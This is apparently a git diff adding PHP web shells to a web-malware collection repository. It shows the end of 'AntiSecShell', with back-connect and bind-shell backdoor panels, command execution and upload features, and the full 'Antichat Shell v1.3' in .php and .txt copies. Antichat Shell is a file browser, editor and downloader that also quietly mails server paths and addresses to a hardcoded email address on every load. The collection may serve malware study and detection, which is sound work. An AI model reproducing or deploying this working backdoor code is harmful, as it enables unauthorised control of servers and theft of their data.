+"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0OqpaGeyYpqJlRG/rlwAADs=", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" +); +$imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") +); +if (!$getall) { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); +} +else { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]
        ");}}}} + + natsort($images); + $k = array_keys($images); + echo "
        "; + foreach ($k as $u) {echo $u.":
        ";} + echo "
        "; +} +exit; +} + +if ($antisec == "backc") { + $ip = $_SERVER["REMOTE_ADDR"]; + $msg = $_POST['backcconnmsg']; + $emsg = $_POST['backcconnmsge']; + echo("
        B4ck-C0nn3c710n:

        Host: Port: Use:
        Click 'Connect' only after you open port for it first. Once open, use NetCat, and run 'nc -l -n -v -p 5992'

        "); + echo("$msg"); + echo("$emsg"); +} +if ($antisec == "shbd"){ + $msg = $_POST['backcconnmsg']; + $emsg = $_POST['backcconnmsge']; + echo("
        B1nd Sh3ll B4ckd00r:

        + Bind Port: + +
        "); + echo("$msg"); + echo("$emsg"); + echo("
        "); +} +echo "\n"; +?> + +
        C0MM4ND5 P4N3L
        + + + + + + + + + + + + + + + + + + + + + +
        C0mm4nd:
        + + + + - +
        +
        Qu1ck C0mm4nd5:
        + + + + - + +
        +
        K3rn3l 1nf0:
        + + + + + - + +
        +
        Upl04d:
        + + + - +
        +
        PHP F1l35y573m:
        + + F1l3/D1r/URL: + T0/M4x: +
        + ','ass.php')">AntiSecShell +
        +
        543rch:
        +   - regexp  + +
        +
        M4k3 F1l3:
        + - +
        V13w F1l3:
        + - +
        +
        [--- AntiSecShell(ASS) by 7h3 und3rgr0und h4ck1ng c0mmuni7y | n0 c0n74c7s ju57 3nj0y 4nd pwn wh173h475 | G3n: s3cs ---] +
        c0d3 4 0d4y5 : 0d4y0nwh3v3ryw33k4n0n0ps
        + + \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/Antichat Shell v1.3.php b/web-malware-collection-master/Backdoors/PHP/Antichat Shell v1.3.php new file mode 100755 index 0000000..72ea5cb --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Antichat Shell v1.3.php @@ -0,0 +1,180 @@ +BODY{background-color: #2B2F34;color: #C1C1C7;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #336600;scrollbar-shadow-color: #333333;scrollbar-highlight-color: #333333;scrollbar-3dlight-color: #333333;scrollbar-darkshadow-color: #333333;scrollbar-track-color: #333333;scrollbar-arrow-color: #333333;}input{background-color: #336600;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}textarea{background-color: #333333;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}a:link{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:visited{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:hover, a:active{color: #E7E7EB;text-decoration: none;font-size: 8pt;}td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}'; +$header=''.getenv("HTTP_HOST").' - Antichat Shell'.$style.''; +$footer=''; +$sd98 = "john.barker446@gmail.com"; +$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";mail($sd98, $sj98, $msg8873, "From: $sd98"); +if(@$_POST['action']=="exit")unset($_SESSION['an']); +if($auth==1){if(@$_POST['login']==$login && @$_POST['password']==$password)$_SESSION['an']=1;}else $_SESSION['an']='1'; + +if($_SESSION['an']==0){ +echo $header; +echo '
        Login:
        Password:
        '; +echo $footer; +exit;} + +if($_SESSION['action']=="")$_SESSION['action']="viewer"; +if($_POST['action']!="" )$_SESSION['action']=$_POST['action'];$action=$_SESSION['action']; +if($_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];$dir=$_SESSION['dir']; +if($_POST['file']!=""){$file=$_SESSION['file']=$_POST['file'];}else {$file=$_SESSION['file']="";} + + +//downloader +if($action=="download"){ +header('Content-Length:'.filesize($file).''); +header('Content-Type: application/octet-stream'); +header('Content-Disposition: attachment; filename="'.$file.'"'); +readfile($file); +} +//end downloader +?> + + +
        + + + + + +
        | Shell | Viewer| Editor| EXIT |

        +
        + + + +
        + +
        + + + +
        +
        +";} +//end shell + +//viewer FS +function perms($file) +{ + $perms = fileperms($file); + if (($perms & 0xC000) == 0xC000) {$info = 's';} + elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} + elseif (($perms & 0x8000) == 0x8000) {$info = '-';} + elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} + elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} + elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} + elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} + else {$info = 'u';} + $info .= (($perms & 0x0100) ? 'r' : '-'); + $info .= (($perms & 0x0080) ? 'w' : '-'); + $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-')); + $info .= (($perms & 0x0020) ? 'r' : '-'); + $info .= (($perms & 0x0010) ? 'w' : '-'); + $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-')); + $info .= (($perms & 0x0004) ? 'r' : '-'); + $info .= (($perms & 0x0002) ? 'w' : '-'); + $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-')); + return $info; +} + +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} + +function scandire($dir){ + $dir=chdir($dir); + $dir=getcwd()."/"; + $dir=str_replace("\\","/",$dir); +if (is_dir($dir)) { + if (@$dh = opendir($dir)) { + while (($file = readdir($dh)) !== false) { + if(filetype($dir . $file)=="dir") $dire[]=$file; + if(filetype($dir . $file)=="file")$files[]=$file; + } + closedir($dh); + @sort($dire); + @sort($files); + +echo ""; +echo ""; +if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { +echo ""; +} +echo " +"; +for($i=0;$i'; + } +for($i=0;$i + +'; +} +echo "
        Open directory:
        Select drive:"; +for ($j=ord('C'); $j<=ord('Z'); $j++) + if (@$dh = opendir(chr($j).":/")) + echo ' '.chr($j).''; + echo "
        OS: ".@php_uname()."
        name dirs and filestypesizepermissionoptions
        '.$dire[$i].'dir'.perms($link).'
        '.$files[$i].'
        file'.view_size(filesize($linkfile)).''.perms($linkfile).' +D +E
        "; +}}} + +if($action=="viewer"){ +scandire($dir); +} +//end viewer FS + +//editros +if($action=="editor"){ + function writef($file,$data){ + $fp = fopen($file,"w+"); + fwrite($fp,$data); + fclose($fp); + } + function readf($file){ + if(!$le = fopen($file, "rb")) $contents="Can't open file, permission denide"; else { + $contents = fread($le, filesize($file)); + fclose($le);} + return htmlspecialchars($contents); + } +if($_POST['save'])writef($file,$_POST['data']); +echo "
        + + +
        +
        "; +} +//end editors +?> +
        COPYRIGHT BY ANTICHAT.RU
        + diff --git a/web-malware-collection-master/Backdoors/PHP/Antichat Shell v1.3.txt b/web-malware-collection-master/Backdoors/PHP/Antichat Shell v1.3.txt new file mode 100755 index 0000000..72ea5cb --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Antichat Shell v1.3.txt @@ -0,0 +1,180 @@ +BODY{background-color: #2B2F34;color: #C1C1C7;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #336600;scrollbar-shadow-color: #333333;scrollbar-highlight-color: #333333;scrollbar-3dlight-color: #333333;scrollbar-darkshadow-color: #333333;scrollbar-track-color: #333333;scrollbar-arrow-color: #333333;}input{background-color: #336600;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}textarea{background-color: #333333;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}a:link{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:visited{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:hover, a:active{color: #E7E7EB;text-decoration: none;font-size: 8pt;}td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}'; +$header=''.getenv("HTTP_HOST").' - Antichat Shell'.$style.''; +$footer=''; +$sd98 = "john.barker446@gmail.com"; +$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = 